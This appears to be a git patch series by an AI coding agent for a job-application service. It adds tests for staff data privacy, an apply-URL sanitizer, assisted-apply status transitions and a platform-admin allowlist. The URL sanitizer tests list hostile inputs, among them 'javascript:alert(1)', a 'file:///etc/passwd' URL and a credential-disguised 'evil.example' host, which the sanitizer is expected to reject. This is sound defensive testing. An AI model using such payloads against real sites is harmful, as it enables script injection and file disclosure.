seen.push(item.application_id); + } + + cursor = body.next_cursor; + if (cursor === null) break; + } + + expect(pageSizes).toEqual([2, 2, 1]); + expect(seen).toEqual(expected.map((e) => e.applicationId)); + expect(new Set(seen).size).toBe(5); + }); + + it('returns the same single page, in the same order, when everything fits in one request', async () => { + const res = await app.inject({ method: 'GET', url: '/v1/applications?limit=50', headers: auth(token) }); + expect(res.json().items.map((i: { application_id: string }) => i.application_id)).toEqual(expected.map((e) => e.applicationId)); + expect(res.json().next_cursor).toBeNull(); + }); + }); + + describe('organization staff never get job or employer details', () => { + let organizationId: string; + let studentId: string; + let studentToken: string; + let studentAsAdminToken: string; + let staffToken: string; + let resumeId: string; + let companyName: string; + const jobTitle = `Confidential Role ${randomUUID().slice(0, 8)}`; + const applyUrl = 'https://careers.confidential.example/apply/secret-role'; + let studentApplicationId: string; + let secondApplicationId: string; + + beforeAll(async () => { + organizationId = randomUUID(); + await dbHandle.db.insert(schema.organizations).values({ organizationId, name: `Staff Org ${organizationId.slice(0, 8)}`, type: 'university' }); + organizationIds.push(organizationId); + + const student = await seedUser('student'); + const staff = await seedUser('staff'); + studentId = student.id; + resumeId = await seedResume(student.id); + studentToken = await signTestToken({ sub: student.id, sid: randomUUID(), org: organizationId, role: 'student', email: student.email }); + studentAsAdminToken = await signTestToken({ sub: student.id, sid: randomUUID(), org: organizationId, role: 'admin', email: student.email }); + staffToken = await signTestToken({ sub: staff.id, sid: randomUUID(), org: organizationId, role: 'admin', email: staff.email }); + + const company = await seedCompany(`Confidential Employer ${randomUUID().slice(0, 8)}`); + companyName = company.name; + const first = await seedJob(company.companyId, { title: jobTitle, applyUrl, location: 'Secret City' }); + const second = await seedJob(company.companyId, { title: `${jobTitle} II`, applyUrl }); + + for (const [key, jobId] of [ + ['staff-privacy-1', first.jobId], + ['staff-privacy-2', second.jobId], + ] as const) { + const res = await app.inject({ + method: 'POST', + url: '/v1/applications', + headers: { ...auth(studentToken), 'idempotency-key': key }, + payload: { job_id: jobId, resume_id: resumeId }, + }); + expect(res.statusCode).toBe(201); + expect(res.json().application.organization_id).toBe(organizationId); + if (key === 'staff-privacy-1') studentApplicationId = res.json().application.application_id; + else secondApplicationId = res.json().application.application_id; + } + }); + + /** Fails the test if anything about the job or employer is visible anywhere in the payload. */ + function expectNoJobDetails(payload: unknown): void { + const text = JSON.stringify(payload); + for (const secret of [jobTitle, companyName, applyUrl, 'Secret City', '"job"', 'company_name', 'company_id', 'apply_url', 'remote_type', 'employment_type']) { + expect(text).not.toContain(secret); + } + } + + it('lists the organization with application fields only, via a query that never touches jobs or companies', async () => { + queries.length = 0; + const res = await app.inject({ method: 'GET', url: '/v1/applications?scope=organization', headers: auth(staffToken) }); + expect(res.statusCode).toBe(200); + + const items = res.json().items as Array>; + expect(items.map((i) => i.application_id)).toEqual(expect.arrayContaining([studentApplicationId, secondApplicationId])); + for (const item of items) { + expect(Object.keys(item).sort()).toEqual(APPLICATION_KEYS); + expect(item).not.toHaveProperty('job'); + } + expectNoJobDetails(res.json()); + + expect(queries).toHaveLength(1); + expect(queries[0]).not.toMatch(/"jobs"|"companies"/); + }); + + it('keeps job details out of every page of the paginated organization list', async () => { + const seen: string[] = []; + let cursor: string | null = null; + for (let page = 0; page < 10; page += 1) { + const url: string = cursor + ? `/v1/applications?scope=organization&limit=1&cursor=${encodeURIComponent(cursor)}` + : '/v1/applications?scope=organization&limit=1'; + const res = await app.inject({ method: 'GET', url, headers: auth(staffToken) }); + expect(res.statusCode).toBe(200); + expectNoJobDetails(res.json()); + for (const item of res.json().items as Array<{ application_id: string }>) seen.push(item.application_id); + cursor = res.json().next_cursor; + if (cursor === null) break; + } + expect(seen).toEqual(expect.arrayContaining([studentApplicationId, secondApplicationId])); + }); + + it('returns the plain application to staff on GET /v1/applications/:id', async () => { + const res = await app.inject({ method: 'GET', url: `/v1/applications/${studentApplicationId}`, headers: auth(staffToken) }); + expect(res.statusCode).toBe(200); + expect(Object.keys(res.json().application).sort()).toEqual(APPLICATION_KEYS); + expectNoJobDetails(res.json()); + }); + + it('returns the plain application to staff from POST /v1/applications/:id/events', async () => { + const res = await app.inject({ + method: 'POST', + url: `/v1/applications/${secondApplicationId}/events`, + headers: auth(staffToken), + payload: { to_status: 'withdrawn', note: 'withdrawn by staff' }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().application.status).toBe('withdrawn'); + expect(Object.keys(res.json().application).sort()).toEqual(APPLICATION_KEYS); + expectNoJobDetails(res.json()); + }); + + it("hides job details even from a staff member's own applications in the organization view, but not in their owner view", async () => { + // Same person, admin role: the org-wide list is the staff surface, so it stays job-free... + const orgList = await app.inject({ method: 'GET', url: '/v1/applications?scope=organization', headers: auth(studentAsAdminToken) }); + expect(orgList.statusCode).toBe(200); + const own = (orgList.json().items as Array<{ application_id: string; user_id: string }>).filter((i) => i.user_id === studentId); + expect(own.length).toBeGreaterThanOrEqual(2); + expectNoJobDetails(orgList.json()); + + // ...while the same person asking for their own applications gets the owner's view. + const mine = await app.inject({ method: 'GET', url: '/v1/applications', headers: auth(studentAsAdminToken) }); + const mineItem = (mine.json().items as Array<{ application_id: string; job: ApplicationJobSummary | null }>).find( + (i) => i.application_id === studentApplicationId, + ); + expect(mineItem?.job).toMatchObject({ title: jobTitle, company_name: companyName, apply_url: applyUrl }); + + const get = await app.inject({ method: 'GET', url: `/v1/applications/${studentApplicationId}`, headers: auth(studentAsAdminToken) }); + expect(get.json().application.job).toMatchObject({ title: jobTitle, company_name: companyName }); + }); + + it('still rejects scope=organization for a non-staff member of the organization', async () => { + const res = await app.inject({ method: 'GET', url: '/v1/applications?scope=organization', headers: auth(studentToken) }); + expect(res.statusCode).toBe(403); + expectNoJobDetails(res.json()); + }); + }); +}); diff --git a/services/applications/test/apply-url.test.ts b/services/applications/test/apply-url.test.ts new file mode 100644 index 0000000..7e77657 --- /dev/null +++ b/services/applications/test/apply-url.test.ts @@ -0,0 +1,42 @@ +import { describe, expect, it } from 'vitest'; +import { toSafeApplyUrl } from '../src/lib/apply-url.js'; + +describe('toSafeApplyUrl', () => { + it('passes http and https URLs through in canonical form', () => { + expect(toSafeApplyUrl('https://boards.example.com/jobs/42?gh_src=abc')).toBe('https://boards.example.com/jobs/42?gh_src=abc'); + expect(toSafeApplyUrl('http://careers.example.com/apply')).toBe('http://careers.example.com/apply'); + expect(toSafeApplyUrl('HTTPS://Example.COM')).toBe('https://example.com/'); + }); + + it('returns null for missing values', () => { + expect(toSafeApplyUrl(null)).toBeNull(); + expect(toSafeApplyUrl(undefined)).toBeNull(); + expect(toSafeApplyUrl('')).toBeNull(); + }); + + it('returns null for text that is not a URL', () => { + expect(toSafeApplyUrl('not a url')).toBeNull(); + expect(toSafeApplyUrl('/relative/path')).toBeNull(); + expect(toSafeApplyUrl('example.com/apply')).toBeNull(); + }); + + it.each([ + 'javascript:alert(1)', + 'JaVaScRiPt:alert(1)', + ' javascript:alert(1)', + 'data:text/html,', + 'vbscript:msgbox(1)', + 'file:///etc/passwd', + 'ftp://files.example.com/job.pdf', + 'mailto:jobs@example.com', + 'tel:+15555550100', + 'blob:https://example.com/3f8c1a2e', + ])('returns null for the non-http(s) scheme in %s', (raw) => { + expect(toSafeApplyUrl(raw)).toBeNull(); + }); + + it('returns null for URLs that embed credentials to disguise the real host', () => { + expect(toSafeApplyUrl('https://careers.example.com@evil.example/apply')).toBeNull(); + expect(toSafeApplyUrl('https://user:pass@example.com/apply')).toBeNull(); + }); +}); diff --git a/services/applications/test/job-summary.test.ts b/services/applications/test/job-summary.test.ts new file mode 100644 index 0000000..ef19629 --- /dev/null +++ b/services/applications/test/job-summary.test.ts @@ -0,0 +1,121 @@ +import { randomUUID } from 'node:crypto'; +import { describe, expect, it } from 'vitest'; +import { applicationJobSummarySchema } from '@atlas/types'; +import { toJobSummary, type JobSummaryRow } from '../src/repo/lookups.js'; +import { toApplicationWithJob, type ApplicationRow } from '../src/repo/applications.js'; + +function fullRow(overrides: Partial = {}): JobSummaryRow { + return { + jobId: randomUUID(), + title: 'Backend Engineer', + companyId: randomUUID(), + companyName: 'Acme Corp', + location: 'Berlin', + remoteType: 'hybrid', + employmentType: 'full_time', + applyUrl: 'https://careers.acme.example/jobs/1', + isActive: true, + ...overrides, + }; +} + +const NO_JOB: JobSummaryRow = { + jobId: null, + title: null, + companyId: null, + companyName: null, + location: null, + remoteType: null, + employmentType: null, + applyUrl: null, + isActive: null, +}; + +describe('toJobSummary', () => { + it('maps a joined row to the API summary shape', () => { + const row = fullRow(); + const summary = toJobSummary(row); + + expect(summary).toEqual({ + job_id: row.jobId, + title: 'Backend Engineer', + company_id: row.companyId, + company_name: 'Acme Corp', + location: 'Berlin', + remote_type: 'hybrid', + employment_type: 'full_time', + apply_url: 'https://careers.acme.example/jobs/1', + is_active: true, + }); + expect(applicationJobSummarySchema.safeParse(summary).success).toBe(true); + }); + + it('keeps a job without a location or apply link', () => { + const summary = toJobSummary(fullRow({ location: null, applyUrl: null })); + expect(summary).toMatchObject({ location: null, apply_url: null }); + }); + + it('serves only http(s) apply links', () => { + expect(toJobSummary(fullRow({ applyUrl: 'javascript:alert(1)' }))?.apply_url).toBeNull(); + expect(toJobSummary(fullRow({ applyUrl: 'data:text/html,hi' }))?.apply_url).toBeNull(); + expect(toJobSummary(fullRow({ applyUrl: 'not a url' }))?.apply_url).toBeNull(); + }); + + it('keeps inactive jobs visible, flagged is_active=false', () => { + expect(toJobSummary(fullRow({ isActive: false }))?.is_active).toBe(false); + }); + + it('is null when the job row is gone (every joined column null)', () => { + expect(toJobSummary(NO_JOB)).toBeNull(); + }); + + it('is null when the company row is gone (job present, company columns null)', () => { + expect(toJobSummary(fullRow({ companyName: null }))).toBeNull(); + }); +}); + +describe('toApplicationWithJob', () => { + const row: ApplicationRow = { + applicationId: randomUUID(), + userId: randomUUID(), + jobId: randomUUID(), + resumeId: randomUUID(), + organizationId: null, + status: 'draft', + mode: 'manual', + idempotencyKey: 'idem-key-unit', + coverLetter: null, + submittedAt: null, + lastEventAt: new Date().toISOString(), + failureReason: null, + createdAt: new Date().toISOString(), + }; + + it('adds job additively and leaves every existing field untouched', () => { + const job = toJobSummary(fullRow()); + const view = toApplicationWithJob(row, job); + const { job: attached, ...rest } = view; + + expect(attached).toEqual(job); + expect(rest).toEqual({ + application_id: row.applicationId, + user_id: row.userId, + job_id: row.jobId, + resume_id: row.resumeId, + organization_id: null, + status: 'draft', + mode: 'manual', + idempotency_key: 'idem-key-unit', + submitted_at: null, + last_event_at: row.lastEventAt, + failure_reason: null, + created_at: row.createdAt, + }); + }); + + it('carries an explicit null (not a missing key) when the job is gone', () => { + const view = toApplicationWithJob(row, null); + expect(Object.hasOwn(view, 'job')).toBe(true); + expect(view.job).toBeNull(); + }); +}); From abec2b31bf7170ef4b5e1b0543c5ed9e1bbeaccd Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:05:07 +0000 Subject: [PATCH 30/91] feat(applications): let the owner record an assisted apply on the employer site The user is sent to the employer's apply link and then tracks the application here. Two small changes make that recordable without any auto-submission, queue consumer or browser automation: - Allow `draft -> submitted`. Before, a manual application had to be walked through `queued` and `submitting`, which are worker-owned states that nothing consumes. POST /v1/applications/:id/events with { to_status: "submitted", note: "Applied on the employer site" } now works directly (and still publishes application.submitted). - Add an `opened_apply_link` marker: { to_status: "draft", note: "opened_apply_link" } records the click-out in the trail without changing status. It is the only same-status event accepted, only while the application is a draft, and only from its owner (staff get the usual "cannot move" 400). Same-status moves stay rejected everywhere else. Tests cover the transitions, the marker's guards, the owner-only rule, and the trail rows written to application_events. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../src/http/routes/append-event.ts | 7 +- services/applications/src/lib/transitions.ts | 28 ++++- .../test/applications-job-context.test.ts | 116 ++++++++++++++++++ .../applications/test/transitions.test.ts | 45 ++++++- 4 files changed, 192 insertions(+), 4 deletions(-) diff --git a/services/applications/src/http/routes/append-event.ts b/services/applications/src/http/routes/append-event.ts index 4348f90..a79d943 100644 --- a/services/applications/src/http/routes/append-event.ts +++ b/services/applications/src/http/routes/append-event.ts @@ -6,7 +6,7 @@ import { appendApplicationEventRequestSchema, uuidSchema, type ApplicationRespon import { AppError, newTraceContext } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; import { appendEvent, findByIdWithJob, toApplication, toApplicationWithJob } from '../../repo/applications.js'; -import { isValidTransition } from '../../lib/transitions.js'; +import { isOpenedApplyLinkMarker, isValidTransition } from '../../lib/transitions.js'; const paramsSchema = z.object({ id: uuidSchema }); @@ -29,7 +29,10 @@ export function appendEventRoute(app: FastifyInstance, deps: AppDeps): void { throw new AppError('NOT_FOUND', 'Application not found'); } - if (!isValidTransition(current.status, body.to_status)) { + // Assisted apply: the owner can note that they opened the employer's apply + // page without changing status. Staff can't speak for the user here. + const isApplyLinkMarker = isOwner && isOpenedApplyLinkMarker(current.status, body.to_status, body.note); + if (!isApplyLinkMarker && !isValidTransition(current.status, body.to_status)) { throw new AppError('VALIDATION_ERROR', `Cannot move an application from "${current.status}" to "${body.to_status}"`); } diff --git a/services/applications/src/lib/transitions.ts b/services/applications/src/lib/transitions.ts index b333f1a..0f88347 100644 --- a/services/applications/src/lib/transitions.ts +++ b/services/applications/src/lib/transitions.ts @@ -7,7 +7,11 @@ import type { ApplicationStatus } from '@atlas/types'; * `rejected` back to `offer`). */ const ALLOWED_TRANSITIONS: Record = { - draft: ['queued', 'withdrawn'], + // `draft -> submitted` is the assisted-apply path: the user applied on the + // employer's own site and reports it. Without it a manual application would + // have to be walked through `queued` and `submitting`, which are states a + // submission worker owns and which nothing consumes today. + draft: ['queued', 'submitted', 'withdrawn'], queued: ['submitting', 'withdrawn', 'failed'], submitting: ['submitted', 'failed'], // A failed submission is usually a worker/connector hiccup — requeue it. @@ -27,3 +31,25 @@ export function isValidTransition(from: ApplicationStatus, to: ApplicationStatus export function allowedNextStatuses(from: ApplicationStatus): ApplicationStatus[] { return ALLOWED_TRANSITIONS[from]; } + +/** + * Note carried by the one status-less event an application owner can record: + * "I opened the employer's apply page" (assisted apply). It is a marker, not a + * lifecycle move — see {@link isOpenedApplyLinkMarker}. + */ +export const OPENED_APPLY_LINK_NOTE = 'opened_apply_link'; + +/** + * True for `draft -> draft` with the {@link OPENED_APPLY_LINK_NOTE} note. The + * trail (`application_events`) only records status changes, and a same-status + * "move" is rejected everywhere else, so this is a narrow, explicit exception: + * only while the application is still a draft, and only with exactly this note. + * The route additionally restricts it to the application's owner. + */ +export function isOpenedApplyLinkMarker( + from: ApplicationStatus, + to: ApplicationStatus, + note: string | undefined, +): boolean { + return from === 'draft' && to === 'draft' && note === OPENED_APPLY_LINK_NOTE; +} diff --git a/services/applications/test/applications-job-context.test.ts b/services/applications/test/applications-job-context.test.ts index d97fe5d..778ccd0 100644 --- a/services/applications/test/applications-job-context.test.ts +++ b/services/applications/test/applications-job-context.test.ts @@ -645,4 +645,120 @@ describe.skipIf(!testDatabaseUrl)('applications-service job context', () => { expectNoJobDetails(res.json()); }); }); + + describe('assisted apply: record that you opened / submitted on the employer site', () => { + let ownerToken: string; + let strangerToken: string; + let staffToken: string; + let organizationId: string; + let applicationId: string; + let jobTitle: string; + + async function trail(): Promise> { + const rows = await dbHandle.db + .select() + .from(schema.applicationEvents) + .where(eq(schema.applicationEvents.applicationId, applicationId)) + .orderBy(schema.applicationEvents.createdAt); + return rows.map((r) => ({ from: r.fromStatus, to: r.toStatus, note: r.note })); + } + + function postEvent(token: string, payload: Record) { + return app.inject({ method: 'POST', url: `/v1/applications/${applicationId}/events`, headers: auth(token), payload }); + } + + beforeAll(async () => { + organizationId = randomUUID(); + await dbHandle.db.insert(schema.organizations).values({ organizationId, name: `Assist Org ${organizationId.slice(0, 8)}`, type: 'university' }); + organizationIds.push(organizationId); + + const owner = await seedUser('assist-owner'); + const stranger = await seedUser('assist-stranger'); + const staff = await seedUser('assist-staff'); + ownerToken = await signTestToken({ sub: owner.id, sid: randomUUID(), org: organizationId, role: 'student', email: owner.email }); + strangerToken = await signTestToken({ sub: stranger.id, sid: randomUUID(), org: null, role: null, email: stranger.email }); + staffToken = await signTestToken({ sub: staff.id, sid: randomUUID(), org: organizationId, role: 'admin', email: staff.email }); + + const resumeId = await seedResume(owner.id); + const company = await seedCompany(); + jobTitle = 'Assisted Apply Role'; + const job = await seedJob(company.companyId, { title: jobTitle, applyUrl: 'https://careers.jobctx.example/assisted' }); + const res = await app.inject({ + method: 'POST', + url: '/v1/applications', + headers: { ...auth(ownerToken), 'idempotency-key': 'assisted-apply-1' }, + payload: { job_id: job.jobId, resume_id: resumeId, mode: 'manual' }, + }); + expect(res.statusCode).toBe(201); + applicationId = res.json().application.application_id; + }); + + it('lets the owner note that they opened the apply link, without changing status', async () => { + const before = (await dbHandle.db.select().from(schema.applications).where(eq(schema.applications.applicationId, applicationId)))[0]!; + + const res = await postEvent(ownerToken, { to_status: 'draft', note: 'opened_apply_link' }); + expect(res.statusCode).toBe(200); + expect(res.json().application.status).toBe('draft'); + expect(res.json().application.submitted_at).toBeNull(); + // The owner's response carries the job, so a client can drop it straight into its list. + expect(res.json().application.job).toMatchObject({ title: jobTitle, apply_url: 'https://careers.jobctx.example/assisted' }); + + const after = (await dbHandle.db.select().from(schema.applications).where(eq(schema.applications.applicationId, applicationId)))[0]!; + expect(Date.parse(after.lastEventAt)).toBeGreaterThanOrEqual(Date.parse(before.lastEventAt)); + expect(await trail()).toEqual([{ from: 'draft', to: 'draft', note: 'opened_apply_link' }]); + }); + + it('does not let org staff (or a stranger) record the marker on the owner\'s behalf', async () => { + const staff = await postEvent(staffToken, { to_status: 'draft', note: 'opened_apply_link' }); + expect(staff.statusCode).toBe(400); + expect(staff.json().error.code).toBe('VALIDATION_ERROR'); + + const stranger = await postEvent(strangerToken, { to_status: 'draft', note: 'opened_apply_link' }); + expect(stranger.statusCode).toBe(404); + + expect(await trail()).toHaveLength(1); + }); + + it('rejects any other same-status event: no note, or a different note', async () => { + for (const payload of [{ to_status: 'draft' }, { to_status: 'draft', note: 'clicked something' }, { to_status: 'draft', note: 'OPENED_APPLY_LINK' }]) { + const res = await postEvent(ownerToken, payload); + expect(res.statusCode).toBe(400); + expect(res.json().error.code).toBe('VALIDATION_ERROR'); + } + expect(await trail()).toHaveLength(1); + }); + + it('lets the owner report the application as submitted straight from draft, with a note', async () => { + const res = await postEvent(ownerToken, { to_status: 'submitted', note: 'Applied on the employer site' }); + expect(res.statusCode).toBe(200); + expect(res.json().application.status).toBe('submitted'); + expect(res.json().application.submitted_at).not.toBeNull(); + expect(res.json().application.job).toMatchObject({ title: jobTitle }); + + expect(await trail()).toEqual([ + { from: 'draft', to: 'draft', note: 'opened_apply_link' }, + { from: 'draft', to: 'submitted', note: 'Applied on the employer site' }, + ]); + + const get = await app.inject({ method: 'GET', url: `/v1/applications/${applicationId}`, headers: auth(ownerToken) }); + expect(get.json().application).toMatchObject({ status: 'submitted' }); + }); + + it('only accepts the marker while the application is still a draft', async () => { + const res = await postEvent(ownerToken, { to_status: 'submitted', note: 'opened_apply_link' }); + expect(res.statusCode).toBe(400); + const same = await postEvent(ownerToken, { to_status: 'submitted' }); + expect(same.statusCode).toBe(400); + expect(await trail()).toHaveLength(2); + }); + + it('keeps the rest of the lifecycle intact after a self-reported submission', async () => { + const res = await postEvent(ownerToken, { to_status: 'interviewing', note: 'phone screen booked' }); + expect(res.statusCode).toBe(200); + expect(res.json().application.status).toBe('interviewing'); + + const back = await postEvent(ownerToken, { to_status: 'draft' }); + expect(back.statusCode).toBe(400); + }); + }); }); diff --git a/services/applications/test/transitions.test.ts b/services/applications/test/transitions.test.ts index 96923a2..8a23714 100644 --- a/services/applications/test/transitions.test.ts +++ b/services/applications/test/transitions.test.ts @@ -1,5 +1,10 @@ import { describe, expect, it } from 'vitest'; -import { allowedNextStatuses, isValidTransition } from '../src/lib/transitions.js'; +import { + allowedNextStatuses, + isOpenedApplyLinkMarker, + isValidTransition, + OPENED_APPLY_LINK_NOTE, +} from '../src/lib/transitions.js'; describe('isValidTransition', () => { it('allows the normal happy-path progression', () => { @@ -33,5 +38,43 @@ describe('isValidTransition', () => { it('rejects a no-op transition to the same status', () => { expect(isValidTransition('submitted', 'submitted')).toBe(false); + expect(isValidTransition('draft', 'draft')).toBe(false); + }); + + it('lets a draft be reported as submitted directly (assisted apply on the employer site)', () => { + expect(isValidTransition('draft', 'submitted')).toBe(true); + }); + + it('does not open any other shortcut past the worker-owned states', () => { + expect(allowedNextStatuses('draft')).toEqual(['queued', 'submitted', 'withdrawn']); + expect(isValidTransition('draft', 'submitting')).toBe(false); + expect(isValidTransition('draft', 'interviewing')).toBe(false); + expect(isValidTransition('queued', 'submitted')).toBe(false); + expect(isValidTransition('failed', 'submitted')).toBe(false); + }); +}); + +describe('isOpenedApplyLinkMarker', () => { + it('accepts exactly a draft -> draft event noted opened_apply_link', () => { + expect(OPENED_APPLY_LINK_NOTE).toBe('opened_apply_link'); + expect(isOpenedApplyLinkMarker('draft', 'draft', OPENED_APPLY_LINK_NOTE)).toBe(true); + }); + + it('rejects any other note, or none', () => { + expect(isOpenedApplyLinkMarker('draft', 'draft', undefined)).toBe(false); + expect(isOpenedApplyLinkMarker('draft', 'draft', '')).toBe(false); + expect(isOpenedApplyLinkMarker('draft', 'draft', 'Opened_Apply_Link')).toBe(false); + expect(isOpenedApplyLinkMarker('draft', 'draft', 'opened_apply_link, then more')).toBe(false); + }); + + it('is only a marker while the application is still a draft', () => { + expect(isOpenedApplyLinkMarker('queued', 'queued', OPENED_APPLY_LINK_NOTE)).toBe(false); + expect(isOpenedApplyLinkMarker('submitted', 'submitted', OPENED_APPLY_LINK_NOTE)).toBe(false); + expect(isOpenedApplyLinkMarker('withdrawn', 'withdrawn', OPENED_APPLY_LINK_NOTE)).toBe(false); + }); + + it('is not a way to change status', () => { + expect(isOpenedApplyLinkMarker('draft', 'submitted', OPENED_APPLY_LINK_NOTE)).toBe(false); + expect(isOpenedApplyLinkMarker('draft', 'queued', OPENED_APPLY_LINK_NOTE)).toBe(false); }); }); From d9981456a86f37b4e4a08535ef6c079c65486eda Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:07:17 +0000 Subject: [PATCH 31/91] feat(security): platform-admin allowlist, signup-metadata org escalation fix, URL/upload hardening Salvaged from stream B (interrupted mid-run): platform-admin allowlist for global data (jobs ingest, learning metrics), handle_new_user no longer builds orgs/owners from client-controlled signup metadata, http(s)-only stored URLs, uuid :id validation, error-leak scrubbing, resume upload content sniffing and DOCX zip-bomb guard. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 7 + packages/auth-kit/src/index.ts | 1 + packages/auth-kit/src/platform-admin.ts | 50 +++ packages/auth-kit/test/platform-admin.test.ts | 69 ++++ packages/db/supabase/auth-hooks.sql | 42 ++- packages/db/test/auth-hooks.test.ts | 89 ++++++ .../connectors/src/http/routes/connect.ts | 9 +- .../connectors/test/connectors-flow.test.ts | 21 ++ services/jobs/src/env.ts | 6 + services/jobs/src/http/routes/get-job.ts | 8 +- services/jobs/src/http/routes/ingest.ts | 26 +- services/jobs/src/lib/normalize.ts | 34 +- services/jobs/test/jobs-flow.test.ts | 178 ++++++++++- services/jobs/test/normalize.test.ts | 46 +++ services/learning/src/env.ts | 5 + .../learning/src/http/routes/get-metrics.ts | 13 +- services/learning/test/learning-flow.test.ts | 53 ++- .../profile/src/http/routes/get-resume.ts | 9 +- .../profile/src/http/routes/upload-resume.ts | 20 +- services/profile/src/lib/extract-text.ts | 302 +++++++++++++++++- services/profile/test/extract-text.test.ts | 246 +++++++++++++- services/profile/test/fixtures.ts | 134 ++++++++ 22 files changed, 1297 insertions(+), 71 deletions(-) create mode 100644 packages/auth-kit/src/platform-admin.ts create mode 100644 packages/auth-kit/test/platform-admin.test.ts create mode 100644 packages/db/test/auth-hooks.test.ts create mode 100644 services/profile/test/fixtures.ts diff --git a/.env.example b/.env.example index fa4e941..3a2dc3f 100644 --- a/.env.example +++ b/.env.example @@ -44,6 +44,13 @@ SUPABASE_ACCESS_TOKEN= # GitHub: https://github.com/settings/developers # Each app's authorized redirect URI is https://.supabase.co/auth/v1/callback. +# Platform administrators: comma-separated auth.users ids allowed to touch GLOBAL +# data (jobs-service POST /v1/jobs/ingest, learning-service GET /v1/learning/metrics). +# Deliberately separate from org admin/owner roles, which only carry authority +# inside one organization. Empty or unset = nobody (fail closed). Read by +# jobs-service and learning-service only. +PLATFORM_ADMIN_USER_IDS= + # --- Service ports ---------------------------------------------------------- AUTH_SERVICE_PORT=4001 PROFILE_SERVICE_PORT=4002 diff --git a/packages/auth-kit/src/index.ts b/packages/auth-kit/src/index.ts index dc3ad6b..820a9af 100644 --- a/packages/auth-kit/src/index.ts +++ b/packages/auth-kit/src/index.ts @@ -1,3 +1,4 @@ export * from './actor.js'; export * from './request-context.js'; export * from './tokens.js'; +export * from './platform-admin.js'; diff --git a/packages/auth-kit/src/platform-admin.ts b/packages/auth-kit/src/platform-admin.ts new file mode 100644 index 0000000..c3a0a5a --- /dev/null +++ b/packages/auth-kit/src/platform-admin.ts @@ -0,0 +1,50 @@ +import type { AuthenticatedActor } from '@atlas/types'; +import { AppError } from '@atlas/utils'; + +/* + * Platform administrators are the operators of Atlas itself — the only people + * allowed to touch GLOBAL data (the shared jobs catalog, cross-tenant + * aggregates). That is deliberately NOT the same thing as an organization + * `admin`/`owner` role: that role only grants authority inside one tenant, + * and `organization_members` rows are tenant data, not a trust anchor for the + * platform as a whole. + * + * The allowlist lives in server-side configuration (`PLATFORM_ADMIN_USER_IDS`, + * a comma-separated list of `auth.users` ids) so nothing a signed-in user can + * write — signup metadata, profile fields, org membership — can grant it. + * Empty or unset means nobody is a platform admin (fail closed). + */ + +/** Comma-separated user ids → normalized set. Blank entries are dropped; ids compare case-insensitively. */ +export function parsePlatformAdminIds(raw: string | null | undefined): ReadonlySet { + if (!raw) return new Set(); + return new Set( + raw + .split(',') + .map((id) => id.trim().toLowerCase()) + .filter((id) => id.length > 0), + ); +} + +/** + * True when the (already token-verified) actor's `user_id` is on the + * allowlist. `allowlist` is the raw env value, so callers pass + * `deps.env.PLATFORM_ADMIN_USER_IDS` straight through. + */ +export function isPlatformAdmin( + actor: Pick, + allowlist: string | null | undefined, +): boolean { + return parsePlatformAdminIds(allowlist).has(actor.user_id.toLowerCase()); +} + +/** Throws FORBIDDEN unless {@link isPlatformAdmin}. */ +export function requirePlatformAdmin( + actor: Pick, + allowlist: string | null | undefined, + message = 'Only platform administrators can perform this action', +): void { + if (!isPlatformAdmin(actor, allowlist)) { + throw new AppError('FORBIDDEN', message); + } +} diff --git a/packages/auth-kit/test/platform-admin.test.ts b/packages/auth-kit/test/platform-admin.test.ts new file mode 100644 index 0000000..5124c23 --- /dev/null +++ b/packages/auth-kit/test/platform-admin.test.ts @@ -0,0 +1,69 @@ +import { describe, expect, it } from 'vitest'; +import { isPlatformAdmin, parsePlatformAdminIds, requirePlatformAdmin } from '../src/platform-admin.js'; + +const ADA = '11111111-1111-4111-8111-111111111111'; +const GRACE = '22222222-2222-4222-8222-222222222222'; +const MALLORY = '33333333-3333-4333-8333-333333333333'; + +describe('parsePlatformAdminIds', () => { + it('treats unset, null, empty, and whitespace/comma-only values as an empty allowlist', () => { + for (const raw of [undefined, null, '', ' ', ',', ' , ,, ']) { + expect(parsePlatformAdminIds(raw).size).toBe(0); + } + }); + + it('splits on commas, trims, lowercases, and drops blanks', () => { + const ids = parsePlatformAdminIds(` ${ADA.toUpperCase()} ,, ${GRACE},`); + expect([...ids].sort()).toEqual([ADA, GRACE]); + }); +}); + +describe('isPlatformAdmin', () => { + it('is false for everyone when the allowlist is unset or empty (fail closed)', () => { + expect(isPlatformAdmin({ user_id: ADA }, undefined)).toBe(false); + expect(isPlatformAdmin({ user_id: ADA }, '')).toBe(false); + }); + + it('is true only for listed user ids', () => { + expect(isPlatformAdmin({ user_id: ADA }, `${ADA},${GRACE}`)).toBe(true); + expect(isPlatformAdmin({ user_id: GRACE }, `${ADA},${GRACE}`)).toBe(true); + expect(isPlatformAdmin({ user_id: MALLORY }, `${ADA},${GRACE}`)).toBe(false); + }); + + it('matches ids case-insensitively', () => { + expect(isPlatformAdmin({ user_id: ADA }, ADA.toUpperCase())).toBe(true); + }); + + it('does not match on substrings or prefixes of a listed id', () => { + expect(isPlatformAdmin({ user_id: ADA.slice(0, 8) }, ADA)).toBe(false); + expect(isPlatformAdmin({ user_id: ADA }, ADA.slice(0, 8))).toBe(false); + }); + + it('ignores org role entirely — an org owner/admin is not a platform admin', () => { + // Only user_id is consulted; extra actor fields must not influence the outcome. + const orgOwner = { user_id: MALLORY, role: 'owner', organization_id: GRACE } as const; + expect(isPlatformAdmin(orgOwner, ADA)).toBe(false); + }); +}); + +describe('requirePlatformAdmin', () => { + it('throws FORBIDDEN (403) for a user that is not on the allowlist', () => { + expect(() => requirePlatformAdmin({ user_id: MALLORY }, ADA)).toThrowError( + expect.objectContaining({ code: 'FORBIDDEN', statusCode: 403 }), + ); + }); + + it('throws FORBIDDEN when the allowlist is unset', () => { + expect(() => requirePlatformAdmin({ user_id: ADA }, undefined)).toThrowError( + expect.objectContaining({ code: 'FORBIDDEN' }), + ); + }); + + it('uses a caller-supplied message', () => { + expect(() => requirePlatformAdmin({ user_id: MALLORY }, ADA, 'nope')).toThrowError('nope'); + }); + + it('returns normally for a listed user', () => { + expect(() => requirePlatformAdmin({ user_id: ADA }, ADA)).not.toThrow(); + }); 